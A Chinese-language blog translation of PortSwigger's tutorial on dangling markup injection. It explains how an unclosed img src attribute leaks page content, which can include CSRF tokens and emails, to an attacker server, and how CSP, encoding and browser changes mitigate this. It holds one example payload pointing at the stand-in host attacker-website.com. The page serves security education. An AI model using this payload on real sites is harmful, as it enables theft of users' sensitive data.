某不知名博客 某不知名博客
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)

Carsaid

安全界的小学生
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)
  • 前言

  • 服务器端主题(翻译)

  • 客户端主题(翻译)

    • 客户端主题
    • 跨站脚本(XSS)

      • 跨站脚本(XSS)
      • 反射型XSS
      • 存储型XSS
      • DOM型XSS
      • XSS上下文
      • 利用XSS漏洞
      • 悬挂标记注入
        • 什么是悬挂标记注入?
        • 如何防范悬挂标记攻击
      • 内容安全策略(CSP)
      • 客户端模板注入
      • 如何防范XSS
      • XSS备忘单
    • 跨站请求伪造(CSRF)

    • 跨域资源共享(CORS)

    • 点击劫持

    • 基于DOM的漏洞

    • WebSockets

  • 高级主题(翻译)

  • 扩展阅读(翻译)

  • 个人学习笔记

  • 实验室做题记录

  • BurpSuite及官方实验室
  • 客户端主题(翻译)
  • 跨站脚本(XSS)
carsaid
2023-09-12
目录

悬挂标记注入

翻译

原文:https://portswigger.net/web-security/cross-site-scripting/dangling-markup

- name: 翻译
  desc: 原文:https://portswigger.net/web-security/cross-site-scripting/dangling-markup
  bgColor: '#F0DFB1'
  textColor: 'green'
1
2
3
4

# 悬挂标记注入

在本节中,我们将解释悬挂标记注入、典型漏洞利用的工作原理,以及如何防范悬挂标记攻击。

# 1什么是悬挂标记注入?

悬挂标记注入是一种在 无法进行完全跨站脚本攻击 的情况下,跨域捕获数据的技术。

假设应用程序以不安全的方式,将攻击者可控制的数据嵌入到其响应中:

<input type="text" name="input" value="可控数据在这里
1

还假设应用程序不过滤或转义>和"字符。则攻击者可以使用以下语法,脱离带引号的属性值并闭合标签,从而返回到 HTML 上下文中:

">
1

在这种情况下,攻击者自然会尝试执行 XSS。但是,假设由于输入过滤器、内容安全策略或其他障碍,导致常规的 XSS 攻击不可能成功。在这里,仍然可以使用如下所示的有效负载,来进行悬挂标记注入攻击:

"><img src='//attacker-website.com?
1

这个有效负载创建了一个img标签,并定义了src属性的开头,该属性包含攻击者服务器的 URL。请注意,攻击者的有效负载不会闭合src属性,该属性处于 “悬挂” 状态。当浏览器解析响应时,它将向前查找,直到遇到单引号来终止该属性。引号之前的所有内容都将被视为 URL 的一部分,被包含在 URL 查询字符串中,并发送到攻击者的服务器。其中的任何非字母数字字符(包括换行符)都将被进行 URL 编码。

攻击的结果是,攻击者可以在注入点之后,捕获应用程序响应的一部分,其中可能包含敏感数据。根据应用程序的功能来判断,这其中可能包含 CSRF (opens new window) 令牌、电子邮件或财务数据。

可以发出外部请求 的任何属性,都可以使用悬挂标记。

下一个实验室很难解决,因为所有外部请求都被阻止。但是,某些标签允许你存储数据,并在稍后的时间内从外部服务器检索数据。解决此实验室可能需要用户交互。

实验室-专家

内容安全策略-反射型XSS-非常严格的CSP保护-悬挂标记攻击 >>

- name: 实验室-专家
  desc: 内容安全策略-反射型XSS-非常严格的CSP保护-悬挂标记攻击 >>
  avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
  link: https://portswigger.net/web-security/cross-site-scripting/content-security-policy/lab-very-strict-csp-with-dangling-markup-attack
  bgColor: '#001350'
  textColor: '#d112fe'
1
2
3
4
5
6

# 2如何防范悬挂标记攻击

你可以使用与防范跨站脚本 (opens new window)相同的常规防御,来防止悬挂标记攻击,方法是——在输入抵达之前进行验证,在输出时对数据进行编码。

你还可以使用内容安全策略(CSP)来缓解部分悬挂标记攻击。例如,你可以使用阻止img等标签加载外部资源的策略来防范某些(但不是全部)攻击。

笔记

Chrome 浏览器决定,阻止img等标签定义包含原始字符(如尖括号和换行符)的 URL,从而解决悬挂标记攻击。这将防止攻击,因为捕获的数据中通常包含这些原始字符,因此攻击会被阻止。

编辑 (opens new window)
利用XSS漏洞
内容安全策略(CSP)

← 利用XSS漏洞 内容安全策略(CSP)→

最近更新
01
API测试笔记
04-30
02
msfvenom
03-29
03
Metasploit
03-29
更多文章>
Theme by Vdoing | Copyright © 2023-2024 Carsaid | MIT License
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式